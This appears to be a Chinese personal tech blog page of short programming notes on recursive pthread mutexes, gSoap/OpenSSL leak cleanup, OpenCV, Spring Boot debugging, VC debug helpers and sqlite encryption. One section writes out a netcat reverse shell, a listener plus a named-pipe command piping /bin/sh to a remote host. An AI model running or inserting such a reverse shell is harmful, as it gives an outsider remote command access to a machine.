Linux可复入的互斥量pthread_mutex_t

互斥量可重入(可复入)的概念是:同一个线程,进入一互斥量后,不出此互斥量而再次进入此互斥量,线程不会死等。

pthread_mutex_init调用时第二个参数传入NULL,即为默认的mutex初始化方式。请记住,这种默认的初始化的方式,生成的是不可重入的互斥量,即同线程重复进入会死等(或叫死锁)。这与Windows上InitializeCriticalSection初始化恰相反。

要pthread_mutex_t可重入,需要使用PTHREAD_MUTEX_RECURSIVE_NP参数,具体见本文后所附源码。

本人已抽象出跨平台的互斥量源码库,其中的互斥量都是可重入的,在Linux和Windows上都可以统一调用,先说使用举例。

定义:

1
WhMutex mutex_;

初始化:

1
whMutexInit(&mutex_);

反初始化:

1
whMutexFini(&mutex_);

当要把一段代码设为临界段时:

1
2
3
4
5
{
	WhMutexGuard guard(&mutex_);
	// your critical section code here.
	int i;
}

以下是抽象互斥量库源码(直接复制过去就可编译):

Read more

Gdiplus::Image打开gif文件返回为空

原因是Gdiplus需要先初始化:

1
2
3
4
ULONG_PTR gdiPlusToken_;
 
GdiplusStartupInput gdiplusstartupinput;
GdiplusStartup(&gdiPlusToken_, &gdiplusstartupinput, NULL);

退出时,反初始化:

1
GdiplusShutdown(gdiPlusToken_);

gSoap内存泄露OpenSSL memory leak

怎么完美调用gSoap库呢?

首先与用的是stdsoap2.c还是stdsoap2.cpp有关。

我这里举例内编的是stdsoap2.cpp,那么一个WebService调用过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
void aWebServiceCall()
{
	struct soap soapCtx;
 
	soap_call___ns1__XXX(&soapCtx, url.c_str(), ...);
	if (soapCtx.error)
	{
		printf("soap error: %d, %s, %s\n", soapCtx.error, *soap_faultcode(&soapCtx), *soap_faultstring(&soapCtx));
	}
 
	soap_end(&soapCtx);
}

看到没,C++版的soap只需要在每次调完soap_call___ns1__XXX之类的接口后,调用一次soap_end就完事了,这是完美的写代码流程。但实际运行后还是有内存泄露,研究发现,这个内存泄露是由于OpenSSL的屁股没揩干净造成的。最终无leak的结尾函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void doSSLLeftCleanup()
{
	// thread-local cleanup
	ERR_remove_state(0);
 
	// thread-safe cleanup
	CONF_modules_unload(1);
 
	// global application exit cleanup (after all SSL activity is shutdown)
	ERR_free_strings();
	EVP_cleanup();
	CRYPTO_cleanup_all_ex_data();
 
	int i, n;
	STACK_OF(SSL_COMP) *ssl_comp_methods;
	ssl_comp_methods = SSL_COMP_get_compression_methods();
	n = sk_SSL_COMP_num(ssl_comp_methods);
	for (i = 0; i < n; i++)
	{
		(void)sk_SSL_COMP_delete(ssl_comp_methods, i);
	}
	sk_SSL_COMP_free(ssl_comp_methods);
}

但遗憾的是,对于openssl-1.0.1p,SSL_COMP_get_compression_methods返回的是一个内部静态变量,没有导出函数可以将其置为NULL,也即doSSLLeftCleanup不能调第二次,所以,请在所有的最后的最后调一次。但这也从另一方面说明,这种内存泄露是不会累加的,不管gSoap接口函数调用多少次。

注:这里的gSoap版本为:2.8.37

WebService通过gsoap引入到源码中

using gsoap 2.8.37:

./wsdl2h -c -s serviceplus.xml serviceplus.xsd

in serviceplus.xml.h, add

1
2
#import "wsse.h"
#import "saml1.h"

./soapcpp2 -c serviceplus.xml.h -I /home/work/gsoap/gsoap-2.8.37/gsoap/import -I /home/work/gsoap/gsoap-2.8.37/gsoap

opencv 抠子图

1
2
3
4
5
6
7
#include <opencv2/opencv.hpp>
 
using namespace cv;
 
Mat imgBig = imread("d:/big.jpg");
Mat imgSmall = imgBig(cv::Rect(x, y, w, h));
imwrite("d:/small.jpg", imgSmall);

SpringBoot Maven Eclipse Debug

先看这个网页:

https://blog.csdn.net/qq_36994788/article/details/76342623

到http://start.spring.io/下把工程建起来。

在pom.xml中加入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<build>
	<plugins>
		<plugin>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-maven-plugin</artifactId>
 
			<configuration>
			<jvmArguments>
				-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=5005
			</jvmArguments>
			</configuration>
 
		</plugin>
	</plugins>
</build>

工程右键选择Debug As-〉Maven Build,在Goals中填入:

clean install -Ptest -X spring-boot:run

点执行就可以调试了。

近一步学习的资源:

https://blog.csdn.net/panchao888888/article/details/81060565

几个有用的VC函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
_CrtSetBreakAlloc(12683);
 
OutputDebugString("hi");
 
DebugBreak();
 
#define _CRTDBG_MAP_ALLOC
#include <crtdbg.h>
 
_CrtSetDbgFlag(_CrtSetDbgFlag(_CRTDBG_REPORT_FLAG) | _CRTDBG_LEAK_CHECK_DF);
_CrtSetReportMode(_CRT_ERROR, _CRTDBG_MODE_DEBUG);
 
#pragma warning(disable:4996)
#ifdef WIN32
#pragma message("message body")
#else
#warning "message body"
#endif 
Project->settings->C/C++->Preprocessor->Project options->/P
#define new new(_NORMAL_BLOCK, __FILE__, __LINE__)
sysdig -c spy_users
sed 's/^.\{22\}//'
\\.\pipe\com_1
quiet kgdbwait kgdboc=ttyS0,115200
echo g > /proc/sysrq-trigger
 
set auto-load safe-path .
gdb /usr/src/kernels/linux-2.6.32.27/vmlinux
(gdb) target remote /dev/ttyS0

nc反弹shell

1
nc -lvvp 5555
1
2
mknod /tmp/bp p
/bin/sh 0</tmp/bp | nc 192.168.1.38 5555 1>/tmp/bp
1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash
 
debugfs=/sys/kernel/debug
 
echo nop > $debugfs/tracing/current_tracer
echo 0 > $debugfs/tracing/tracing_on
echo $$ > $debugfs/tracing/set_ftrace_pid
echo function_graph > $debugfs/tracing/current_tracer
#replace test_proc_show by your function name
echo vfs_read > $debugfs/tracing/set_graph_function
echo 1 > $debugfs/tracing/tracing_on
 
exec "$@"

boa cgi reboot

linux下,boa生成的cgi进程调用

1
system("reboot");

是失效的,解决办法是,另起一root身份的侦听进程A,此cgi进程给进程A发msg,通知进程A进行system("reboot")调用。

拷贝构造函数中的vector成员

以下代码在VC2013中运行报错,但在VC2017中运行良好,应该是VC2013的CArray类有BUG。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <vector>
#include <string>
 
using namespace std;
 
void CMFCApplication2Dlg::OnBnClickedButton1()
{
	struct Tst01
	{
		vector<string> t01;
	};
 
	Tst01 tst01;
	tst01.t01.push_back("hi");
	CArray<Tst01, Tst01> arry;
	for (int i = 0; i < 10; i++)
	{
		arry.Add(tst01);
	}
	for (int i = 0; i < 10; i++)
	{
		Tst01 &node = arry.GetAt(i);
		Tst01 nNode(node);  // VC2013中此处报错
		printf("big is %s.\n", nNode.t01[0].c_str());
	}
}

sqlite数据库加密

最好的解决方案是:

1
git clone https://github.com/utelle/wxsqlite3.git

打开里面wxsqlite3\sqlite3secure\build目录下的对应VC工程文件,编译sqlite3shell项目,在wxsqlite3\sqlite3secure\bin-vc12\lib\debug下就为生成的sqlite3shell.exe

加密数据库:

1
2
3
sqlite3shell.exe example.db
sqlite> pragma rekey=123456;
sqlite> .exit

读取数据库:

1
2
3
sqlite3shell.exe example.db
sqlite> pragma key=123456;   <-- 这条语句必须在打开数据库后作为第一条语名执行
sqlite> select * from table1;

自已写的程序中一打开数据库db_,就加一句:

1
sqlite3_key(db_, "123456", 6);